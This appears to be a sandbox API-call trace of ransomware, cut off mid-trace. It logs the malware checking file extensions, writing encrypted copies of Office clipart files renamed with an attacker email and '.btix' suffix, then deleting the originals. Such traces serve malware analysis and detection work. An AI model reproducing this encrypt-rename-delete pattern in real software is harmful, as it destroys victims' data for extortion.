[0052.131] lstrlenW (lpString=".bz2") returned 4 [0052.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.131] lstrlenW (lpString=".7z") returned 3 [0052.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0052.131] lstrlenW (lpString=".dbf") returned 4 [0052.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0052.131] lstrlenW (lpString=".1cd") returned 4 [0052.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0052.131] lstrlenW (lpString=".jpg") returned 4 [0052.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.132] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.132] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.132] GetLastError () returned 0x0 [0052.132] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0052.141] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0052.142] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.142] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.142] SetEndOfFile (hFile=0x370) returned 1 [0052.142] CloseHandle (hObject=0x370) returned 1 [0052.143] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.143] SetEndOfFile (hFile=0x324) returned 1 [0052.143] CloseHandle (hObject=0x324) returned 1 [0052.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0052.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0052.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0052.144] lstrlenW (lpString=".doc") returned 4 [0052.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.144] lstrlenW (lpString=".docx") returned 5 [0052.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.144] lstrlenW (lpString=".pdf") returned 4 [0052.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.144] lstrlenW (lpString=".xls") returned 4 [0052.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.144] lstrlenW (lpString=".xlsx") returned 5 [0052.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.144] lstrlenW (lpString=".ppt") returned 4 [0052.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0052.145] lstrlenW (lpString=".zip") returned 4 [0052.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.145] lstrlenW (lpString=".rar") returned 4 [0052.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.145] lstrlenW (lpString=".bz2") returned 4 [0052.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.145] lstrlenW (lpString=".7z") returned 3 [0052.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0052.145] lstrlenW (lpString=".dbf") returned 4 [0052.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0052.145] lstrlenW (lpString=".1cd") returned 4 [0052.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0052.145] lstrlenW (lpString=".jpg") returned 4 [0052.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.146] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.146] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.146] GetLastError () returned 0x0 [0052.146] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xac4, lpOverlapped=0x0) returned 1 [0052.158] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xad0, lpOverlapped=0x0) returned 1 [0052.159] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.159] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.159] SetEndOfFile (hFile=0x370) returned 1 [0052.159] CloseHandle (hObject=0x370) returned 1 [0052.160] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.160] SetEndOfFile (hFile=0x324) returned 1 [0052.161] CloseHandle (hObject=0x324) returned 1 [0052.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0052.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0052.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0052.161] lstrlenW (lpString=".doc") returned 4 [0052.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString=".docx") returned 5 [0052.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.162] lstrlenW (lpString=".pdf") returned 4 [0052.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString=".xls") returned 4 [0052.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.162] lstrlenW (lpString=".xlsx") returned 5 [0052.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.162] lstrlenW (lpString=".ppt") returned 4 [0052.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0052.162] lstrlenW (lpString=".zip") returned 4 [0052.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.162] lstrlenW (lpString=".rar") returned 4 [0052.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString=".bz2") returned 4 [0052.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString=".7z") returned 3 [0052.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0052.162] lstrlenW (lpString=".dbf") returned 4 [0052.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0052.162] lstrlenW (lpString=".1cd") returned 4 [0052.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0052.162] lstrlenW (lpString=".jpg") returned 4 [0052.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.175] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.175] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.176] GetLastError () returned 0x0 [0052.176] ReadFile (in: hFile=0x388, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0052.223] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0052.226] ReadFile (in: hFile=0x388, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.226] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.226] SetEndOfFile (hFile=0x370) returned 1 [0052.226] CloseHandle (hObject=0x370) returned 1 [0052.227] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.227] SetEndOfFile (hFile=0x388) returned 1 [0052.228] CloseHandle (hObject=0x388) returned 1 [0052.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0052.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0052.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0052.239] lstrlenW (lpString=".doc") returned 4 [0052.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString=".docx") returned 5 [0052.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.239] lstrlenW (lpString=".pdf") returned 4 [0052.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.239] lstrlenW (lpString=".xls") returned 4 [0052.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.239] lstrlenW (lpString=".xlsx") returned 5 [0052.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.240] lstrlenW (lpString=".ppt") returned 4 [0052.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0052.240] lstrlenW (lpString=".zip") returned 4 [0052.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.240] lstrlenW (lpString=".rar") returned 4 [0052.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.240] lstrlenW (lpString=".bz2") returned 4 [0052.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.240] lstrlenW (lpString=".7z") returned 3 [0052.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0052.240] lstrlenW (lpString=".dbf") returned 4 [0052.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0052.240] lstrlenW (lpString=".1cd") returned 4 [0052.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0052.240] lstrlenW (lpString=".jpg") returned 4 [0052.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.240] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.240] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.241] GetLastError () returned 0x0 [0052.241] ReadFile (in: hFile=0x388, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0052.284] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0052.285] ReadFile (in: hFile=0x388, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.285] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.285] SetEndOfFile (hFile=0x370) returned 1 [0052.285] CloseHandle (hObject=0x370) returned 1 [0052.286] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.286] SetEndOfFile (hFile=0x388) returned 1 [0052.286] CloseHandle (hObject=0x388) returned 1 [0052.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0052.287] lstrlenW (lpString=".doc") returned 4 [0052.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.287] lstrlenW (lpString=".docx") returned 5 [0052.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.287] lstrlenW (lpString=".pdf") returned 4 [0052.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.287] lstrlenW (lpString=".xls") returned 4 [0052.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.287] lstrlenW (lpString=".xlsx") returned 5 [0052.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.287] lstrlenW (lpString=".ppt") returned 4 [0052.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0052.287] lstrlenW (lpString=".zip") returned 4 [0052.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.287] lstrlenW (lpString=".rar") returned 4 [0052.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.288] lstrlenW (lpString=".bz2") returned 4 [0052.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.288] lstrlenW (lpString=".7z") returned 3 [0052.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0052.288] lstrlenW (lpString=".dbf") returned 4 [0052.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0052.288] lstrlenW (lpString=".1cd") returned 4 [0052.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0052.288] lstrlenW (lpString=".jpg") returned 4 [0052.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.302] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.302] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.338] GetLastError () returned 0x0 [0052.338] ReadFile (in: hFile=0x36c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xc48, lpOverlapped=0x0) returned 1 [0052.361] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xc50, lpOverlapped=0x0) returned 1 [0052.362] ReadFile (in: hFile=0x36c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.362] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.362] SetEndOfFile (hFile=0x308) returned 1 [0052.363] CloseHandle (hObject=0x308) returned 1 [0052.363] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.363] SetEndOfFile (hFile=0x36c) returned 1 [0052.364] CloseHandle (hObject=0x36c) returned 1 [0052.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0052.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0052.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0052.365] lstrlenW (lpString=".doc") returned 4 [0052.365] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.365] lstrlenW (lpString=".docx") returned 5 [0052.365] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.365] lstrlenW (lpString=".pdf") returned 4 [0052.365] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.365] lstrlenW (lpString=".xls") returned 4 [0052.365] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.365] lstrlenW (lpString=".xlsx") returned 5 [0052.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.365] lstrlenW (lpString=".ppt") returned 4 [0052.365] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0052.365] lstrlenW (lpString=".zip") returned 4 [0052.365] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.365] lstrlenW (lpString=".rar") returned 4 [0052.365] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.365] lstrlenW (lpString=".bz2") returned 4 [0052.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.366] lstrlenW (lpString=".7z") returned 3 [0052.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0052.366] lstrlenW (lpString=".dbf") returned 4 [0052.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0052.366] lstrlenW (lpString=".1cd") returned 4 [0052.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0052.366] lstrlenW (lpString=".jpg") returned 4 [0052.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.460] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.460] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.461] GetLastError () returned 0x0 [0052.461] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0052.535] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0052.536] 